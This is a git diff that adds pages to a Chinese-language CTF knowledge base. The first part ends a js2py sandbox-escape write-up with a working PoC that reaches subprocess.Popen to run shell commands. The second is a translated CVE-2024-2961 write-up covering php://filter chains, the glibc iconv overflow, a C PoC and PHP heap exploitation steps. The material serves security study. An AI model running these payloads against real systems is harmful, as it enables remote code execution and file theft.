整段代码会被self.code(*args)去执行调用,他的解析顺序是从左往右console、.log()、Object ......

+

f7c83fc40db51c0676aa220a6b4263fd

+

并且依次调用PyJs.get(self, prop),获取对应的对象。

+

650f67657bc934405a122dcf131189ee

+

那么这个Object.getOwnPropertyNames({})是个啥呢,我们跟进发现,它其实就是一个方法用于获取,的所有 keys(),那么大概率,这里返回的对象就为dict对象

+

a712fa934ad208f15e46e3adf758eaa3

+

此时own.keys() 返回的对象 为 dict

+

cdf2c66969b232f56aa024ff6d2415ea

+

得到的对象的确为dict

+

71d59a397371a8a061736a8aa625eea1

+

代码运行到这里之后,就简单多了,在python里,获取根对象的方式,可以根据基本对象来获取根对象,例如以下

+
print({}.__class__.__base__)
print("".__class__.__base__)
print(().__class__.__base__)
+

8d21ef7a38064f02f76316ab1c70c1b0

+

得到根对象后,后面与ssti模版注入类似,

+
import js2py

payload_2 = """
let o = Object.getOwnPropertyNames({}).__class__.__base__.__subclasses__()
for (i in o) {
console.log(o[i])
}
"""
js2py.eval_js(payload_2)
+

下面有6种方式可以执行命令

+
内建函数 eval 执行命令
os 模块执行命令
popen 函数执行命令
importlib 类执行命令
linecache 函数执行命令
subprocess.Popen 类执行命令
+

由于 获取的对象均是 是被封装后的,例如根对象 都是 PyObjectWarpper

+

f370f31459c94cebb2900f580b26faee

+

并且获取到的__init__ 函数对象也均被封装

+

eca2ceab4a2e8483ad4416c424a9111d

+

无法获取__globals__,也就无法从这里入手获取内建变量__builtins__

+

0afd799d813b550caf14fb94e0972937

+

所以这里一共有两种方式

+
    +
  • 利用importlib 方法导入类
  • +
+

在python 中存在一个类 _frozen_importlib.BuiltinImporter 这个类,在python 中的作用就是 提供 Python 中 import 语句的实现(以及 __import__ 函数)。我么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。

+

5007a129124cb7e3a84f851529884436

+
    +
  • 利用subprocess.Popen 类执行命令
  • +
+

这里类是在python 2.4引入的 可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。subprocess意在替代其他几个老的模块或者函数,比如:os.system,os.popen等函数。

+

2822d519284e2178b008fb245a207db1

+

0x04 POC​

+
import js2py
from sys import version

payload = """
// [+] command goes here:
let cmd = "open -a Calculator"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
"""

def test_poc():
etcpassword_piece = "root:x:0:0"
result = ""
try:
result = repr(js2py.eval_js(payload))
except Exception:
return False
return etcpassword_piece in result

def main():
test_poc()

if __name__ == "__main__":
main()
+ + \ No newline at end of file diff --git a/docs/个人知识库/CTF/奇技淫巧/PHP利用GNU-C-Iconv将文件读取变成RCE(CVE-2024-2961)/index.html b/docs/个人知识库/CTF/奇技淫巧/PHP利用GNU-C-Iconv将文件读取变成RCE(CVE-2024-2961)/index.html new file mode 100644 index 0000000..da1299d --- /dev/null +++ b/docs/个人知识库/CTF/奇技淫巧/PHP利用GNU-C-Iconv将文件读取变成RCE(CVE-2024-2961)/index.html @@ -0,0 +1,357 @@ + + + + + +01.PHP利用GNU-C-Iconv将文件读取变成RCE(CVE-2024-2961) | wjlin0 + + + + + + + +

01.PHP利用GNU-C-Iconv将文件读取变成RCE(CVE-2024-2961)

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:52:29
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:27:21
+

PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961

+

介绍​

+

几个月前,我偶然在 glibc(Linux 程序的基础库)中发现了一个已有 24 年历史的缓冲区溢出。尽管可以在多个知名库或可执行文件中访问,但它被证明很少可利用——虽然它没有提供太多的回旋余地,但它需要难以实现的先决条件。寻找目标主要会导致失望。然而,在PHP上,这个错误大放异彩,并被证明在以两种不同的方式利用其引擎方面很有用。

+

由于材料数量众多,该错误的影响和利用将记录在由三部分组成的系列中。在本系列的第一部分中,我将描述我是如何遇到这个错误的,为什么合适的目标很少见,最后深入研究 PHP 引擎,演示一种新的利用向量:在 PHP 应用程序中将文件读取原语转换为远程代码执行。

+

如果您不熟悉 Web 开发、PHP 或 PHP 引擎,请不要介意:我将在此过程中解释相关概念。

+

发现:一个关于过滤器的故事​

+

PHP 中的文件读取原语​

+

让我们首先介绍基础知识。假设在执行评估时,发现一个文件读取原语,如下所示:

+
echo file_get_contents($_GET['file']);
+

你能用它做什么?好吧,显然,读取文件。例如,您可以阅读 /etc/passwd 。但是 PHP 还允许您使用其他协议,例如 http:// 或 ftp:// .因此,您可以要求 PHP 为您获取 google 的首页,使用 http://google.com ;或从 FTP 服务器下载文件,使用 ftp://user:passwd@ftp.target.com/file.bin .但这还不是全部;PHP 还实现了自定义协议,例如 phar:// .

+

phar:// 允许您在 PHAR 存档中读取。PHAR 代表 PHP 存档,就像 JAR 代表 Java 存档一样。它是一组文件,例如:

+
    +
  • Source code 源代码
  • +
  • Resources 资源
  • +
  • Serialized metadata 序列化元数据
  • +
+

多年来,该协议一直是PHP的垮台,因为当您使用它访问PHAR文件时,其元数据会被反序列化。通常的 PHAR 攻击如下所示:

+
    +
  • 将 PHAR 存档上传到目标服务器(PHAR 文件非常多语言,因此您可以使它们看起来像图像、PDF 或任何东西,真的)
  • +
  • 使用文件读取原语访问 PHAR 文件,并使用 phar:///path/to/file.phar/test
  • +
  • 任意有效负载被反序列化
  • +
+

可以通过多种方式将反序列化转换为代码执行,但人们通常依赖于 PHP 上的首选反序列化工具 PHPGGC。

+

PHAR 攻击的影响怎么强调都不为过。自 2018 年创建以来,它们一直是在 PHP 目标上获得外壳的关键。但派对即将结束:

+
    +
  • +

    从 PHP 8.0(2020 年发布)开始, phar:// 不再反序列化元数据。(无论如何,他们都没有使用元数据,所以为什么要反序列化它)。这将完全杀死 PHAR 攻击。

    +
  • +
  • +

    大型应用程序(如Drupal或Magento)一直在禁用该协议 phar://

    +
  • +
  • +

    随着时间的流逝,反序列化将变得越来越难以利用:图书馆正在修补其反序列化链,而打字正在卷土重来,从而大大减少了反序列化路径。

    +
  • +
  • +

    但 phar:// 并不是唯一对攻击者有用的协议;另一个也产生了很好的结果: php://filter .

    +
  • +
+

PHP过滤器简介​

+

几年来,人们对另一种特定于 PHP 的协议产生了兴趣 php://filter (如果名称不明显的话)。它提供了一种在返回流之前将转换应用于流的方法。语法为:

+
php://filter/[filters...]/resource=[resource]
+

资源可以是我们在上一节中已经讨论过的任何内容:一个简单的文件、一个 HTTP 响应、一个来自 FTP 服务器的文件...... +筛选器是您希望 PHP 应用于流的转换列表。在这里,我们要求 PHP 使用 convert.base64-encode 过滤器将资源的内容转换为 base64:

+
php://filter/convert.base64-encode/resource=/etc/passwd
+

它返回:

+
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYXNoCmJpbjp4OjE6MTpiaW46L2Jpbjovc2Jpbi9u
b2xvZ2luCmRhZW1vbjp4OjI6MjpkYWVtb246L3NiaW46L3NiaW4vbm9sb2dpbgphZG06eDozOjQ6
...
Yi92bnN0YXQ6L2Jpbi9mYWxzZQpyZWRpczp4OjEwMjoxMDM6cmVkaXM6L3Zhci9saWIvcmVkaXM6
L2Jpbi9mYWxzZQo=
您可以根据需要添加任意数量的过滤器。在这里,我要求 PHP 对流进行两次 base64 编码:
+
php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/passwd
+

我得到:

+
Y205dmREcDRPakE2TURweWIyOTBPaTl5YjI5ME9pOWlhVzR2WVhOb0NtSnBianA0T2pFNk1UcGlh
...
RXdNam94TURNNmNtVmthWE02TDNaaGNpOXNhV0l2Y21Wa2FYTTZMMkpwYmk5bVlXeHpaUW89
+

显然,base64 编码并不是您唯一可以做的事情。有许多过滤器可用。它们包括:

+
    +
  • string.upper, which converts a string to uppercase +string.upper ,将字符串转换为大写
  • +
  • string.lower, which converts a string to lowercase +string.lower ,将字符串转换为小写
  • +
  • string.rot13, which does some BC crypto +string.rot13 ,它做了一些 BC 加密
  • +
  • convert.iconv.X.Y, which converts charset from X to Y +convert.iconv.X.Y ,这会将 charset 从 X 转换为 Y
  • +
+

让我们看一下最后一个过滤器: convert.iconv.X.Y .假设我需要将我的文件从 UTF8 转换为 UTF16。我可以使用:

+
php://filter/convert.iconv.UTF-8.UTF-16/resource=/etc/passwd
它给出(十六进制形式):
+
00000000: fffe 7200 6f00 6f00 7400 3a00 7800 3a00  ..r.o.o.t.:.x.:.
00000010: 3000 3a00 3000 3a00 7200 6f00 6f00 7400 0.:.0.:.r.o.o.t.

...

00000a40: 2f00 6200 6900 6e00 2f00 6600 6100 6c00 /.b.i.n./.f.a.l.
00000a50: 7300 6500 0a00 s.e...
+

大量的过滤器和链接它们的可能性导致了对 PHP 的一些伟大研究,例如 here、here 或 here。事实上,使用精确选择的过滤器(过滤器链),攻击者可以做一些奇妙的事情,例如完全更改文件的内容,或者使用基于错误的预言机逐个提取其字节。

+

例如,这里有一个过滤器链,它预设 Hello world! 为 /etc/passwd :

+
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|
convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.IBM860.UTF16|
convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|
convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|
convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|
convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.JS.UNICODE|
convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|
convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|
convert.iconv.855.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|
convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|
convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|
convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|
convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|
convert.iconv.855.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L5.UTF-32|
convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|
convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.ISO2022KR.UTF16|
convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|
convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|
convert.iconv.855.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|
convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|
convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|
convert.iconv.855.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|
convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|
convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|
convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd
+

结果:

+
Hello, world!!!root:x:0:0:root:/root:/bin/bash...
+

PHP 过滤器:前缀、后缀和 crash​

+

可悲的是,文件读取并不总是像以下那样容易:

+
echo file_get_contents($_POST['file']);
+

通常,文件不会按原样返回,但会以某种方式对其进行解析或检查。举个例子,我经常遇到这段代码的变体,它要求你的文件是有效的 JSON:

+
$data = file_get_contents($_POST['url']);
$data = json_decode($data);
echo $data->message;
+

我们在这里读取了一个文件,但内容随后被 JSON 反序列化,并且只返回文档的一部分。为了读取标准文件,例如 /etc/passwd ,我们需要向流添加任意前缀和后缀。像这样: {"message": "<contents-of-/etc/passwd>"} .在 2023 年底,情况是您可以使用 php://filter 链为流添加前缀,但不能添加后缀。因此,我开始研究一种算法来做后者。

+

当时,我对字符集或编码一无所知(老实说,我仍然不知道其中的区别)。首先,我构建了一个暴力破解脚本,该脚本将几个 iconv 过滤器堆叠在一起,并显示结果。像这样:

+
php://filter/convert.iconv.A.B/convert.iconv.C.D/convert.iconv.E.F/resource=data:,test123
+

在某个时候,我的“模糊器”崩溃了。 +我一生中大部分时间都在与PHP打交道,我很快就指手画脚。但我不知道的是,这个错误在调用链中的位置要低得多:一直到glibc。

+

注意:该研究产生了一个于 2023 年 12 月发布的工具:wrapwrap.。

+

Glibc 中存在一个错误CVE-2024-2961​

+

The iconv() API​

+

当PHP从一个字符集转换为另一个字符集时,它使用iconv,这是一个API,“使用转换描述符将输入缓冲区中的字符转换为输出缓冲区”。在 Linux 上,此 API 由 glibc 实现。

+

API 非常简单。首先打开一个转换描述符,该描述符指示输入和输出字符集。

+
iconv_t iconv_open(const char *tocode, const char *fromcode);
+

然后,您可以使用 iconv() 将输入缓冲区 inbuf 转换为输出缓冲区中 outbuf 的新字符集。

+
size_t iconv(iconv_t cd,
char **restrict inbuf, size_t *restrict inbytesleft,
char **restrict outbuf, size_t *restrict outbytesleft);
+

缓冲区管理由调用方负责。如果输出缓冲区不够大, iconv() 将返回一个错误,指示如此,您将能够通过再次调用 iconv() 重新分配 outbuf 并继续转换。该函数保证的是,它永远不会从 inbuf 中读取超过 inbytesleft 字节的字节数,也不会向 outbuf 写入超过 outbytesleft 字节数的字节数。从不?好吧,理论上......

+

转换为 ISO-2022-CN-EXT 时出界写入​

+

碰巧的是,在将数据转换为 ISO-2022-CN-EXT 字符集时,iconv 可能无法在写入输出缓冲区之前检查输出缓冲区中是否有足够的空间。

+

实际上, ISO-2022-CN-EXT 它实际上是一个字符集的集合:当它需要对字符进行编码时,它会选择适当的字符集,并发出一个转义序列,指示解码器需要切换到这样的字符集。

+

下面的代码是负责发出此类转义序列的部分。它由 3 if 个块组成,每个块将不同的转义序列写入 outbuf (指向)。 outptr 如果你看一下第一个 [1] ,你可以看到它以另一个 if() 块为前缀,该块检查输出缓冲区是否足够大以容纳 4 个字符。另外两个 if() [2][3] 则没有。因此,转义序列可能会被写入越界。

+
// iconvdata/iso-2022-cn-ext.c

/* See whether we have to emit an escape sequence. */
if (set != used)
{
/* First see whether we announced that we use this
character set. */
if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]
{
const char *escseq;

if (outptr + 4 > outend) // <-------------------- BOUND CHECK
{
result = __GCONV_FULL_OUTPUT;
break;
}

assert(used >= 1 && used <= 4);
escseq = ")A\0\0)G)E" + (used - 1) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

ann = (ann & ~SO_ann) | (used << 8);
}
else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]
{
const char *escseq;

// <-------------------- NO BOUND CHECK

assert(used == CNS11643_2_set); /* XXX */
escseq = "*H";
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

ann = (ann & ~SS2_ann) | (used << 8);
}
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]
{
const char *escseq;

// <-------------------- NO BOUND CHECK

assert((used >> 5) >= 3 && (used >> 5) <= 7);
escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

ann = (ann & ~SS3_ann) | (used << 8);
}
}
+

要触发 bug,我们需要在输出缓冲区结束之前强制 iconv() 发出转义序列。为此,我们可以使用外来字符,例如: 劄 、 䂚 或 峛 湿 。结果是 1 到 3 个字节的溢出,其值如下:

+
    +
  • $*H [24 2A 48]
  • +
  • $+I [24 2B 49]
  • +
  • $+J [24 2B 4A]
  • +
  • $+K [24 2B 4B]
  • +
  • $+L [24 2B 4C]
  • +
  • $+M [24 2B 4D]
  • +
+

快速POC 演示了该错误:

+
/*
$ gcc -o poc ./poc.c && ./poc
*/
...

void hexdump(void *ptr, int buflen)
{
...
}

void main()
{
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");

char input[0x10] = "AAAAA劄";
char output[0x10] = {0};

char *pinput = input;
char *poutput = output;

// Same size for input and output buffer: 8 bytes
size_t sinput = strlen(input);
size_t soutput = sinput;

iconv(cd, &pinput, &sinput, &poutput, &soutput);

printf("Remaining bytes (should be > 0): %zd\n", soutput);

hexdump(output, 0x10);
}
+

这在易受攻击的系统上产生:

+
$ gcc -o poc ./poc.c && ./poc
Remaining bytes (should be > 0): -1
000000: 41 41 41 41 41 1b 24 2a 48 00 00 00 00 00 00 00 AAAA A.$* H... ....
+

已经写了九个字节,尽管告诉 iconv() 最多写八个字节。

+

Checking the commit history, I noticed that the bug was very old: it appeared in year 2000, making it 24 years old. +检查提交历史记录,我注意到这个错误非常古老:它出现在 2000 年,距今已有 24 年的历史。 +现在,这个错误可以做什么?

+

条件和原始​

+

有了这个漏洞,我有一个 1 到 3 个字节的溢出,其中包含非受控字符。这并不多。除此之外,还有先决条件。我需要找到一个电话, iconv() 其中我:

+
    +
  • controlled the output charset (ISO-2022-CN-EXT) +控制输出字符集 ( ISO-2022-CN-EXT )
  • +
  • controlled part of the input buffer (to put in the beautiful chinese characters) +输入缓冲区的受控部分(输入漂亮的汉字)
  • +
+

考虑到这一点,我开始寻找目标。从在我的 /lib 目录 /bin iconv 中学习到迭代数百个 OSS 项目,我发现了一些有趣的目标。实际上没有一个是可利用的。 +举个例子,让我们看一个非常有前途的目标: libxml2 .

+

libxml2:字节的海洋​

+

libxml2 仅处理 UTF-8 格式的 XML。如果 XML 文档不是 UTF-8,它将被转换为它,然后进行处理,然后在完成所有操作后转换回其原始字符集。转换是使用 iconv() .

+

因此,我们可以通过这样的文件满足我们的先决条件:

+
<?xml version="1.0" encoding="ISO-2022-CN-EXT"?>
<root>&21124;</root>
+

注意:21124 是 劄 的 unicode 代码位。

+

现在,请记住:缓冲区管理是调用方的责任。当用于 iconv() 将我们的文档转换回其原始字符集时 libxml2 ,它会分配一个输出缓冲区,该缓冲区是输入缓冲区(代码)的 4 倍。对我们来说太大了:我们无法达到缓冲区的边界以溢出。死胡同。

+

pkexec:4 个字节太多了​

+

另一个有趣的目标是 pkexec,一个存在于许多 linux 发行版中的 setuid 二进制文件。二进制文件允许您通过设置 CHARSET 环境变量来为其输出的每条消息选择字符集。例:

+
$ CHARSET=ISO-2022-CN-EXT pkexec 'trigger劄' 2>&1 | hexyl
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 43 61 6e 6e 6f 74 20 72 ┊ 75 6e 20 70 72 6f 67 72 │Cannot r┊un progr│
│00000010│ 61 6d 20 74 72 69 67 67 ┊ 65 72 1b 24 2a 48 1b 4e │am trigg┊er•$*H•N│
│00000020│ 4c 61 0f 3a 20 4e 6f 20 ┊ 73 75 63 68 20 66 69 6c │La•: No ┊such fil│
│00000030│ 65 20 6f 72 20 64 69 72 ┊ 65 63 74 6f 72 79 0a │e or dir┊ectory_ │
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
+

在内部, pkexec 使用 输出 GLib 其消息。它执行以下操作:

+
#define NUL_TERMINATOR_LENGTH 4

outbuf_size = len + NUL_TERMINATOR_LENGTH;

outbytes_remaining = outbuf_size - NUL_TERMINATOR_LENGTH;
outp = dest = g_malloc (outbuf_size);

...

err = g_iconv (converter, NULL, &inbytes_remaining, &outp, &outbytes_remaining);
+

虽然它分配了 N + 4 字节的缓冲区,但它只告诉 iconv 关于 N 个字节。我们的溢出最多有 3 个字节长。因此,无论我们多么努力,我们都无法到达缓冲区之外。

+

另一个死胡同。

+

条件和基元(已更新)​

+

满怀失望,我只能更新我的要求清单。要利用此漏洞,我们需要:

+
    +
  • 控制输出字符集 ( ISO-2022-CN-EXT )
  • +
  • 输入缓冲器的控制部分
  • +
  • 具有合适的输出缓冲器
  • +
+

利用PHP过滤器​

+

即使找了几天,我也没有找到一个有效的目标。盲目地在库和二进制文件中寻找 iconv() 调用,浏览开源生态系统,寻找该错误的可触发实例,我拼命寻找崩溃。一。崩溃。无济于事。

+

为了重新燃起希望,我又回到了PHP:毕竟,它确实崩溃了,我甚至没有要求它。

+

目标很简单:将无聊的文件读取漏洞转换为远程代码执行。

+

PHP堆的入门​

+

注意:在本节中,以及在描述PHP内部结构的每个部分中,我将进行近似值并忽略某些内容。

+

为了达到这个目的,我们需要了解PHP堆是如何工作的(至少是其中的一部分)。别担心,这是一个非常简单的堆。

+

要使用 PHP 进行分配,请使用 ,将 与 N 一起使用 emalloc(N) 所需的字节数。您将返回指向至少可以存储 N 个字节的块(内存块)的指针。完成块后,使用 efree(ptr) .PHP 有各种大小的块(8、0x10、0x18、...0x200,0x280,......

+

PHP 堆由一个 2MB 的区域组成,分为 512 页,每页 0x1000 字节。每个页面可能包含特定大小的块。例如,第 10 页可能包含大小为 0x100 的块、第 11 页大小为 0x38 的块、第 12 页大小为 0x180 的块等。块之间没有元数据。

+

当您释放一个块时,它会被放在一个称为释放列表的单向链表的开头。每个块大小都有一个免费列表。例如,如果我要释放大小为 0x38 块,它将进入大小为 0x38 块的可用列表中。如果我释放了一大块大小0x200,它就会进入大块0x200的免费列表中......

+

为了分配 N 个字节,PHP 会查看可用列表中的相应块大小,取出磁头并返回它。如果可用列表为空(即所有可用的块都已分配),PHP 会查看堆元数据以查找未使用的页面。然后,它会在这样的页面中创建空块,并将它们放在空闲列表中。

+

免费列表是后进先出,这意味着当我释放一定大小的块时,它将成为免费列表的头部。当我分配时,头部被取出。这与 glibc 的 tcache 非常相似,但不受限制。

+

imgPHP 堆的可视化表示

+

在上面的示例中,我们在左侧有一个堆的可视化表示。它包含 512 页,此处第 5 页存储了大小为 0x400 的块。如果我们看一下这个页面的内容,我们可以看到它包含 4 个块(因为 4 × 0x400 = 0x1000,一个页面的大小)。在这里,分配了块 #1 和 #3,并释放了块 #2 和 #4。因此,它们在大小为 0x400 块的免费列表中。

+

空闲列表是一个单链表,每个未分配的块都包含指向下一个空闲块的指针作为其前 8 个字节。这就是我们在块 #2 中看到的:指向 0x7ff10201400 的指针,这是大小为 0x400 的下一个空闲块的地址。现在,如果我们要从块 #1 溢出到块 #2,我们将覆盖此指针。这是一个很好的漏洞利用起点:即使有一个字节的溢出,我们也可以更改一个空闲列表指针,从而改变空闲列表。

+

应该注意的是,PHP为每个HTTP请求创建一个新堆。这是使远程 PHP 开发变得困难的原因之一——但这将在第 2 部分中介绍。

+

PHP 过滤器内部​

+

现在我们知道了 PHP 是如何分配和取消分配的,我们可以看看 PHP 如何处理 php://filter/ 字符串。我们很幸运:我们不需要深入了解内部 PHP 结构的细节,例如 zval 、 zend_string 、 zend_array 等。

+

为了处理过滤器,PHP 将首先获取流(即读取资源)。它将流存储在存储桶的集合中,这些存储桶是双链接结构,每个存储桶都包含一定大小的缓冲区。按照我们的 /etc/passwd 示例,我们可能有 3 个存储桶:第一个存储桶可能包含文件的前 5 个字节,第二个存储桶包含 30 多个字节,第三个存储桶包含 1000 个字节。它们联系在一起,构成了一个水桶旅。

+

img一个由 3 个铲斗组成的铲斗大队,其中包含 /etc/passwd

+

这是将流表示为各种大小的缓冲区集合的标准方法。您可以将其想象为通过网络接收的数据包列表。数据包 1 包含前 N 个字节的数据,数据包 2 包含接下来的 M 个字节,依此类推。

+

现在,PHP 已经将资源的内容读入流中,由存储桶旅表示,它可以对其应用过滤器。它采用第一个筛选器,并处理第一个存储桶。为此,它会分配一个与存储桶缓冲区大小相同的输出缓冲区(在我们的示例中为 5 个字节),并进行转换。例如,如果筛选器是 string.upper ,它会将输入缓冲区中的每个小写字符转换为输出缓冲区中的大写字符。然后,它可以创建一个指向此缓冲区的新存储桶。

+

img申请 string.upper 水桶大队

+

然后,它处理存储桶 2,然后处理存储桶 3,依此类推,直到到达最后一个存储桶。现在,它有一个包含每个输出桶的新铲斗旅。它现在可以将第二个过滤器应用到这个旅上,并继续前进,直到处理完最后一个过滤器。

+

情况和目标​

+

我们已经完成了定义。让我们回到我们最初的漏洞:文件读取。

+
echo file_get_contents($_GET['file']);
+

现在,我们可以使用 convert.iconv.XXX.ISO-2022-CN-EXT 过滤器触发内存损坏,我们需要远程执行代码。而且它看起来并不难利用。

+

首先,由于我们有一个文件读取原语,我们可以读取二进制文件(PHP、Apache 等)。我们甚至可以下载libc并检查它是否已修补!我们也不关心 ASLR 和 PIE:我们可以阅读 /proc/self/maps .最后,感觉我们几乎可以使用存储桶任意分配或解除分配缓冲区,这很方便。

+

另一方面,在许多情况下,你可以让文件读取原语:你可能在运行在 PHP 7.0 上的 Symfony 4.x 上,或者在 PHP 8.3 上运行的晦涩的 Wordpress 插件中,甚至在黑盒评估期间。理想的漏洞利用需要具有弹性:它必须针对大多数目标,无需任何调整。

+

开发​

+

考虑到所有这些,让我们开始开发。这个想法是使用单字节缓冲区溢出来修改指向可用块的指针的 LSB,以便控制一些可用列表。

+

单桶​

+

我们面临的第一个问题是,尽管有 bucket brigade 技术,但 PHP 只创建一个 bucket。如果您读取一个文件,您将获得一个包含整个文件的存储桶。如果您请求 HTTP URL,PHP 将创建一个包含整个 HTTP 响应的存储桶。和 ftp:// ,一个桶。至少可以说,这是非常不切实际的:我们不能使用水桶来填充堆,喷洒东西,甚至使用更改后的免费列表。

+

想一想:使用单个存储桶,我们可以溢出到一个空闲区块中并修改一个空闲列表,但是我们没有了存储桶,我们至少需要 2 个分配才能使用我们更改的空闲列表!

+

幸运的是,有一种过滤器可以挽救这一天: zlib.inflate .这个过滤器会获取我们的流并对其进行解压缩。为此,它分配了一个 8 页(0x8000 字节)的缓冲区,并将我们的流膨胀到其中。如果它不够大,它会创建一个相同大小的新缓冲区来存储其余数据。如果这两者仍然不够,它会创建另一个缓冲区。然后将每个缓冲区添加到存储桶中。完美:我们可以使用这个过滤器来创建任意数量的存储桶,这是向前迈出的一大步。

+

img

+

申请 zlib.inflate 创建多个存储桶

+

但是,这些存储桶具有大小为 0x8000 的缓冲区,这不是一个很好的利用大小;缓冲 这些大小的分配方式与我告诉你的方式不同,并且在释放时不会进入可用列表。我们需要调整存储桶的大小。

+

正确拆解​

+

为此,我们将使用一个 PHP 未记录但攻击者所熟知的过滤器: dechunk .此筛选器解码 HTTP 分块编码的字符串。

+

HTTP-chunked 是一种非常简单的编码,您可以在其中按块(不是堆块,数据块)发送数据。首先,发送一个大小为 ASCII-hex,后跟一个换行符,然后是相应大小的数据块,后跟一个换行符。然后,发送另一个大小、另一个块、另一个大小、另一个块,并通过发送大小 0(零)来指示数据的结束。

+

img

+

使用 HTTP 分块编码编码的数据

+

在此示例中,第一个块长 8 个字节,第二个块长 17 个字节 (11h),最后一个块长 13 个字节。在 ing 之后 dechunk ,结果将是: This is how the chunked encoding works 。

+

使用此过滤器,调整存储桶的大小听起来像是儿戏:在每个存储桶中,我们以所需的大小为数据添加前缀(例如,第一个存储桶为 0x148,第二个存储桶为 0x100 等),然后放置数据,然后最后一个 0 表示我们完成了。

+

img

+

设置存储 dechunk 桶*

+

它看起来不错,但它不起作用。虽然是单独处理的,但存储桶不是独立的:它们都被解析为一个大流。 dechunk 当筛选器处理流时,它会读取第一个存储桶 0x148 中的大小,取出 0x148 个字节,然后读取大小为零,这会导致它停止解析。它不会进入第二个桶。它只是完全停止解析。我们操作的最终结果是,我们从几个桶(好)回到了一个桶(坏)。

+

幸运的是,找到一种方法来规避这一点并不难:在每个存储桶中,我们提供一种大小和一个数据块。为此,我们不是天真地写一个大小,而是用数千个零填充它,以便得到这样的东西:

+

img

+

正确设置存储 dechunk 桶

+

现在,在处理存储桶 1 后,dehunk 解析器跳转到存储桶 2,准备读取新大小,然后跳转到存储桶 3,依此类推。它有效!现在,我们可以创建任意数量的存储桶,并具有所需的大小。我们已经取得了巨大的飞跃。

+

免费列表控制:写什么就写什么​

+

我们现在的目标是通过覆盖值为 48h( H 在 ASCII 中)的某个指针的 LSB 来更改一些空闲列表。为了无条件地获得相同的效果,我们以大小为 0x100 的块为目标,因为块地址的 LSB 始终为零。这意味着溢出的效果始终相同:将0x48添加到块指针。

+

